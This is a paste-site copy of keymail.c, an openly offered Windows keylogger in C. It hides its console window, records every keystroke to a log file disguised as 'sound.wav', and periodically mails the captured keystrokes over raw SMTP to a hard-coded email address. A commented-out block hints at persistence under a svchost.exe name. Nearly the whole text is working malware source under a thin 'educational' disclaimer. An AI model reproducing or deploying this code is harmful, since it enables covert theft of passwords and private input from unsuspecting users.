· 11 years ago · Jul 03, 2015, 04:31 AM
1/*
2Collected by Cipherence for </DIC>
3original copyright is intact
4*/
5
6/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
7* *
8* File: keymail.c Ver. 0.7 *
9* *
10* Purpose: a stealth (somewhat) key logger, writes to a log file then sends *
11* and email to whoever is set in the #define options at compile time. *
12* This code is for educational uses, don't be an ass hat with it. *
13* White Scorpion (www.white-scorpion.nl) did the initial work on the key *
14* logger, but he has gone on to bigger and better things. *
15* This version was crafted by Irongeek (www.Irongeek.com), who tacked on *
16* some code to make it send emails, along with a few other changes. *
17* If some of the code is crappy, blame Irongeek and not White Scorpion. *
18* Please send Irongeek improvements and he will post the changes and give you *
19* credit for your contributions. *
20* *
21* This program is free software; you can redistribute it and/or *
22* modify it under the terms of the GNU General Public License *
23* as published by the Free Software Foundation; either version 2 *
24* of the License, or (at your option) any later version. *
25* *
26* This program is distributed in the hope that it will be useful, *
27* but WITHOUT ANY WARRANTY; without even the implied warranty of *
28* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *
29* GNU General Public License for more details. *
30* *
31* You should have received a copy of the GNU General Public License *
32* along with this program; if not, write to the Free Software *
33* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. *
34* *
35* Change log: *
36* 1/3/06 On Ed Rguyl's recommendation I changed how malloc was used. *
37* 6/22/06 Added the date and time functionality using ctime and fixed *
38* a bug where subject was being defined twice.(ThVoidedLine) *
39* *
40* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
41/*
42Compile notes: I used Dev-C++ 4.9.9.2 to compie this. if you get an error like:
43 Linker error] undefined reference to `WSAStartup@8'
44Add this:
45 -lws2_32
46to Tools->Compiler Options under the section on compile flags.
47*/
48
49#include <windows.h>
50#include <stdio.h>
51#include <winuser.h>
52#include <windowsx.h>
53#include <time.h>
54#include <malloc.h>
55
56int MailIt (char *mailserver, char *emailto, char *emailfrom,
57char *emailsubject, char *emailmessage);
58#define BUFSIZE 800
59#define waittime 500
60/*If you don't know the mail exchange server for an address for the following
61"nslookup -querytype=mx gmail.com" but replace gmail.com with the domain for
62whatever email address you want. YOU MUST CHANGE THESE SETTINGS OR
63IT WILL NOT WORK!!! */
64#define cmailserver "gmail-smtp-in.l.google.com"
65#define cemailto "elindawl@gmail.com"
66#define cemailfrom "elindawl@gmail.com"
67#define LogLength 100
68#define FileName "sound.wav"
69#define SMTPLog "ring.wav"
70#define cemailsubject "Logged"
71
72int get_keys(void);
73int test_key(void);
74int main(void)
75{
76 //Uncomment the lines below to put the keylogger in stealh mode.
77 HWND stealth; /*creating stealth */
78 AllocConsole();
79 stealth=FindWindowA("ConsoleWindowClass",NULL);
80 ShowWindow(stealth,0);
81
82 {FILE *file;
83 file=fopen(FileName,"a+");
84 time_t theTime=time(0);
85 fputs("\nStarted logging: ", file);
86 fputs(ctime(&theTime),file);
87 fclose(file);
88 }
89
90 /* if (test==2)
91 {//the path in which the file needs to be
92 char *path="c:\\%windir%\\svchost.exe";
93 create=create_key(path);
94 } */
95
96 int t = get_keys();
97 return t;
98}
99
100int get_keys()
101{
102int freadindex;
103char *buf;
104long len;
105FILE *file;
106file=fopen(FileName,"a+");
107
108
109 short character;
110 while(1)
111 {
112 Sleep(10);/*to prevent 100% cpu usage*/
113 for(character=8;character<=222;character++)
114 {
115 if(GetAsyncKeyState(character)==-32767)
116 {
117 FILE *file;
118 file=fopen(FileName,"a+");
119 if(file==NULL)
120 {
121 return 1;
122 }
123 if(file!=NULL)
124 {
125 if((character>=39)&&(character<=64))
126 {
127 fputc(character,file);
128 fclose(file);
129 break;
130 }
131 else if((character>64)&&(character<91))
132 {
133 character+=32;
134 fputc(character,file);
135 fclose(file);
136 break;
137 }
138 else
139 {
140 switch(character)
141 {
142 case VK_SPACE:
143 fputc(' ',file);
144 fclose(file);
145 break;
146 case VK_SHIFT:
147 fputs("\r\n[SHIFT]\r\n",file);
148 fclose(file);
149 break;
150 case VK_RETURN:
151 fputs("\r\n[ENTER]\r\n",file);
152 fclose(file);
153 break;
154 case VK_BACK:
155 fputs("\r\n[BACKSPACE]\r\n",file);
156 fclose(file);
157 break;
158 case VK_TAB:
159 fputs("\r\n[TAB]\r\n",file);
160 fclose(file);
161 break;
162 case VK_CONTROL:
163 fputs("\r\n[CTRL]\r\n",file);
164 fclose(file);
165 break;
166 case VK_DELETE:
167 fputs("\r\n[DEL]\r\n",file);
168 fclose(file);
169 break;
170 case 187:
171 fputc('+',file);
172 fclose(file);
173 break;
174 case 188:
175 fputc(',',file);
176 fclose(file);
177 break;
178 case 189:
179 fputc('-',file);
180 fclose(file);
181 break;
182 case 190:
183 fputc('.',file);
184 fclose(file);
185 break;
186 case VK_NUMPAD0:
187 fputc('0',file);
188 fclose(file);
189 break;
190 case VK_NUMPAD1:
191 fputc('1',file);
192 fclose(file);
193 break;
194 case VK_NUMPAD2:
195 fputc('2',file);
196 fclose(file);
197 break;
198 case VK_NUMPAD3:
199 fputc('3',file);
200 fclose(file);
201 break;
202 case VK_NUMPAD4:
203 fputc('4',file);
204 fclose(file);
205 break;
206 case VK_NUMPAD5:
207 fputc('5',file);
208 fclose(file);
209 break;
210 case VK_NUMPAD6:
211 fputc('6',file);
212 fclose(file);
213 break;
214 case VK_NUMPAD7:
215 fputc('7',file);
216 fclose(file);
217 break;
218 case VK_NUMPAD8:
219 fputc('8',file);
220 fclose(file);
221 break;
222 case VK_NUMPAD9:
223 fputc('9',file);
224 fclose(file);
225 break;
226 case VK_CAPITAL:
227 fputs("\r\n[CAPS LOCK]\r\n",file);
228 fclose(file);
229 break;
230 default:
231 fclose(file);
232 break;
233 }
234 }
235 }
236 }
237 }
238 FILE *file;
239 file=fopen(FileName,"rb");
240 fseek(file,0,SEEK_END); //go to end
241 len=ftell(file); //get position at end (length)
242 if(len>=LogLength) {
243 fseek(file,0,SEEK_SET);//go to beg.
244 buf=(char *)malloc(len);//malloc buffer
245 freadindex=fread(buf,1,len,file);//read into buffer
246 buf[freadindex] = '\0';//Extra bit I have to add to make it a sting
247 MailIt( cmailserver, cemailto, cemailfrom, cemailsubject, buf);
248 fclose(file);
249 file=fopen(FileName,"w");
250 }
251
252 fclose(file);
253 //free (buf);
254
255 }
256 return EXIT_SUCCESS;
257}
258
259int MailIt (char *mailserver, char *emailto, char *emailfrom,
260char *emailsubject, char *emailmessage) {
261 SOCKET sockfd;
262 WSADATA wsaData;
263 FILE *smtpfile;
264
265 #define bufsize 300
266 int bytes_sent; /* Sock FD */
267 int err;
268 struct hostent *host; /* info from gethostbyname */
269 struct sockaddr_in dest_addr; /* Host Address */
270 char line[1000];
271 char *Rec_Buf = (char*) malloc(bufsize+1);
272 smtpfile=fopen(SMTPLog,"a+");
273 if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {
274 fputs("WSAStartup failed",smtpfile);
275 WSACleanup();
276 return -1;
277 }
278 if ( (host=gethostbyname(mailserver)) == NULL) {
279 perror("gethostbyname");
280 exit(1);
281 }
282 memset(&dest_addr,0,sizeof(dest_addr));
283 memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);
284
285 /* Prepare dest_addr */
286 dest_addr.sin_family= host->h_addrtype; /* AF_INET from gethostbyname */
287 dest_addr.sin_port= htons(25); /* PORT defined above */
288
289 /* Get socket */
290
291 if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
292 perror("socket");
293 exit(1);
294 }
295 /* Connect !*/
296 fputs("Connecting....\n",smtpfile);
297
298 if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
299 perror("connect");
300 exit(1);
301 }
302 Sleep(waittime);
303 err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
304 fputs(Rec_Buf,smtpfile);
305 strcpy(line,"helo me.somepalace.com\n");
306 fputs(line,smtpfile);
307 bytes_sent=send(sockfd,line,strlen(line),0);
308 Sleep(waittime);
309 err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
310 fputs(Rec_Buf,smtpfile);
311 strcpy(line,"MAIL FROM:<");
312 strncat(line,emailfrom,strlen(emailfrom));
313 strncat(line,">\n",3);
314 fputs(line,smtpfile);
315 bytes_sent=send(sockfd,line,strlen(line),0);
316 Sleep(waittime);
317 err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
318 fputs(Rec_Buf,smtpfile);
319 strcpy(line,"RCPT TO:<");
320 strncat(line,emailto,strlen(emailto));
321 strncat(line,">\n",3);
322 fputs(line,smtpfile);
323 bytes_sent=send(sockfd,line,strlen(line),0);
324 Sleep(waittime);
325 err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
326 fputs(Rec_Buf,smtpfile);
327 strcpy(line,"DATA\n");
328 fputs(line,smtpfile);
329 bytes_sent=send(sockfd,line,strlen(line),0);
330 Sleep(waittime);
331 err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
332 fputs(Rec_Buf,smtpfile);
333 Sleep(waittime);
334 strcpy(line,"To:");
335 strcat(line,emailto);
336 strcat(line,"\n");
337 strcat(line,"From:");
338 strcat(line,emailfrom);
339 strcat(line,"\n");
340 strcat(line,"Subject:");
341 strcat(line,emailsubject);
342 strcat(line,"\n");
343 strcat(line,emailmessage);
344 strcat(line,"\r\n.\r\n");
345 fputs(line,smtpfile);
346 bytes_sent=send(sockfd,line,strlen(line),0);
347 Sleep(waittime);
348 err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
349 fputs(Rec_Buf,smtpfile);
350 strcpy(line,"quit\n");
351 fputs(line,smtpfile);
352 bytes_sent=send(sockfd,line,strlen(line),0);
353 Sleep(waittime);
354 err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
355 fputs(Rec_Buf,smtpfile);
356 fclose(smtpfile);
357 #ifdef WIN32
358 closesocket(sockfd);
359 WSACleanup();
360 #else
361 close(sockfd);
362 #endif
363}